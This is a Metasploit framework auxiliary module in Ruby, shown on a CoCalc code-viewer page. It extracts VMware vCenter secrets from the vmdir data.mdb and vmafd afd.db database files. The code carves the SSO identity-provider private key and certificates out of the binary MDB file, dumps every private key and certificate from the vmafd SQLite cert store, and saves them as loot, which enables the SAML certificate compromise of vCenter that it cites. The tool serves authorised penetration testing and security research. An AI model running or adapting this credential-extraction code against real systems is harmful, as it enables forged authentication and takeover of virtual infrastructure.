CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/credential_collection'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'VMware vCenter Extract Secrets from vmdir / vmafd DB File',
16
'Description' => %q{
17
Grab certificates from the vCenter server vmdird and vmafd
18
database files and adds them to loot. The vmdird MDB database file
19
can be found on the live appliance under the path
20
/storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path
21
/storage/db/vmware-vmafd/afd.db. The vmdir database contains the
22
IdP signing credential, and vmafd contains the vCenter certificate
23
store. This module will accept either file from a live vCenter
24
appliance, or from a vCenter appliance backup archive; either or
25
both files can be supplied.
26
},
27
'Author' => 'npm[at]cesium137.io',
28
'Platform' => [ 'linux' ],
29
'DisclosureDate' => '2022-05-10',
30
'License' => MSF_LICENSE,
31
'References' => [
32
['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/']
33
],
34
'Actions' => [
35
[
36
'Dump',
37
{
38
'Description' => 'Dump secrets from vCenter files'
39
}
40
]
41
],
42
'DefaultAction' => 'Dump',
43
'Notes' => {
44
'Stability' => [ CRASH_SAFE ],
45
'Reliability' => [ REPEATABLE_SESSION ],
46
'SideEffects' => [ ARTIFACTS_ON_DISK ]
47
}
48
)
49
)
50
51
register_options([
52
OptPath.new('VMDIR_MDB', [ false, 'Path to the vmdir data.mdb file' ]),
53
OptPath.new('VMAFD_DB', [ false, 'Path to the vmafd afd.db file' ]),
54
OptString.new('VC_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
55
])
56
57
register_advanced_options([
58
OptInt.new('MDB_CHUNK_SIZE', [ true, 'Block size to use when scanning MDB file', 4096 ]),
59
OptInt.new('MDB_STARTING_OFFSET', [ true, 'Starting offset for MDB file binary scan', 0 ])
60
])
61
end
62
63
def loot_host
64
datastore['VC_IP'] || '127.0.0.1'
65
end
66
67
def vmdir_file
68
datastore['VMDIR_MDB']
69
end
70
71
def vmafd_file
72
datastore['VMAFD_DB']
73
end
74
75
def run
76
unless vmdir_file || vmafd_file
77
print_error('Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)')
78
return
79
end
80
if vmdir_file
81
print_status("Extracting vmwSTSTenantCredential from #{vmdir_file} ...")
82
extract_idp_cert
83
end
84
if vmafd_file
85
print_status("Extracting vSphere platform certificates from #{vmafd_file} ...")
86
extract_vmafd_certs
87
end
88
end
89
90
def extract_vmafd_certs
91
db = SQLite3::Database.open(vmafd_file)
92
db.results_as_hash = true
93
unless (vecs_entry_alias = db.execute('SELECT DISTINCT Alias FROM CertTable WHERE PrivateKey NOT NULL;'))
94
fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')
95
end
96
vecs_entry_alias.each do |vecs_alias|
97
store_label = vecs_alias['Alias'].upcase
98
unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)
99
fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")
100
end
101
priv_pem = res['PrivateKey'].encode('utf-8').delete("\000")
102
pub_pem = res['CertBlob'].encode('utf-8').delete("\000")
103
begin
104
key = OpenSSL::PKey::RSA.new(priv_pem)
105
cert = OpenSSL::X509::Certificate.new(pub_pem)
106
p = store_loot(store_label, 'PEM', loot_host, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
107
print_good("#{store_label} key: #{p}")
108
p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
109
print_good("#{store_label} cert: #{p}")
110
rescue OpenSSL::PKey::PKeyError
111
print_error("Could not extract #{store_label} private key")
112
rescue OpenSSL::X509::CertificateError
113
print_error("Could not extract #{store_label} certificate")
114
end
115
end
116
rescue SQLite3::NotADatabaseException => e
117
fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118
rescue SQLite3::SQLException => e
119
fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")
120
end
121
122
def extract_idp_cert
123
sts_pem = nil
124
unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))
125
fail_with(Msf::Exploit::Failure::NoTarget, "Invalid vmdird database '#{vmdir_file}': unable to locate TenantCredential-1 in binary stream")
126
end
127
idp_key = get_sts_key(bytes)
128
idp_key_pem = idp_key.to_pem.to_s
129
get_sts_pem(bytes).each do |stscert|
130
idp_cert_pem = stscert.to_pem.to_s
131
case stscert.check_private_key(idp_key)
132
when true # Private key associates with public cert
133
sts_pem = "#{idp_key_pem}#{idp_cert_pem}"
134
p = store_loot('idp', 'PEM', loot_host, idp_key_pem, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')
135
print_good("SSO_STS_IDP key: #{p}")
136
p = store_loot('idp', 'PEM', loot_host, idp_cert_pem, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')
137
print_good("SSO_STS_IDP cert: #{p}")
138
when false # Private key does not associate with this cert (VMCA root)
139
p = store_loot('vmca', 'PEM', loot_host, idp_cert_pem, 'VMCA_ROOT.pem', 'vCenter VMCA root certificate')
140
print_good("VMCA_ROOT cert: #{p}")
141
end
142
end
143
unless sts_pem # We were unable to link a public and private key together
144
fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to associate IdP certificate and private key')
145
end
146
end
147
148
def read_mdb_sts_block(file_name, chunk_size, offset)
149
bytes = nil
150
file = File.open(file_name, 'rb')
151
while offset <= file.size - chunk_size
152
buf = File.binread(file, chunk_size, offset + 1)
153
if buf.match?(/cn=tenantcredential-1/i) && buf.match?(/[\x30\x82](.{2})[\x30\x82]/n) && buf.match?(/[\x30\x82](.{2})[\x02\x01\x00]/n)
154
target_offset = offset + buf.index(/cn=tenantcredential-1/i) + 1
155
bytes = File.binread(file, chunk_size * 2, target_offset)
156
break
157
end
158
offset += chunk_size
159
end
160
bytes
161
rescue StandardError => e
162
fail_with(Msf::Exploit::Failure::Unknown, "Exception in #{__method__}: #{e.message}")
163
ensure
164
file.close
165
end
166
167
def read_der(bytes)
168
der_len = (bytes[2..3].unpack('H*').first.to_i(16) + 4).to_i
169
unless der_len <= bytes.length - 1
170
fail_with(Msf::Exploit::Failure::Unknown, 'Malformed DER: byte length exceeds working buffer size')
171
end
172
bytes[0..der_len - 1]
173
end
174
175
def get_sts_key(bytes)
176
working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}020100/) / 2 # PKCS1 magic bytes
177
byte_len = bytes.length - working_offset
178
key_bytes = read_der(bytes[working_offset, byte_len])
179
key_b64 = Base64.strict_encode64(key_bytes).scan(/.{1,64}/).join("\n")
180
key_pem = "-----BEGIN PRIVATE KEY-----\n#{key_b64}\n-----END PRIVATE KEY-----"
181
vprint_status("key_pem:\n#{key_pem}")
182
OpenSSL::PKey::RSA.new(key_pem)
183
rescue OpenSSL::PKey::PKeyError
184
# fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')
185
print_error('Failure during extract of PKCS#1 RSA private key')
186
end
187
188
def get_sts_pem(bytes)
189
idp_certs = []
190
working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}3082/) / 2 # x509v3 magic bytes
191
byte_len = bytes.length - working_offset
192
working_bytes = bytes[working_offset, byte_len]
193
[4, 8].each do |offset|
194
der_bytes = read_der(working_bytes)
195
der_b64 = Base64.strict_encode64(der_bytes).scan(/.{1,64}/).join("\n")
196
der_pem = "-----BEGIN CERTIFICATE-----\n#{der_b64}\n-----END CERTIFICATE-----"
197
vprint_status("der_pem:\n#{der_pem}")
198
idp_certs << OpenSSL::X509::Certificate.new(der_pem)
199
next_offset = working_offset + der_bytes.length + offset - 1
200
working_offset = next_offset
201
byte_len = bytes.length - working_offset
202
working_bytes = bytes[working_offset, byte_len]
203
end
204
idp_certs
205
rescue OpenSSL::X509::CertificateError
206
# fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of x509v3 certificate')
207
print_error('Failure during extract of x509v3 certificate')
208
end
209
end
210
211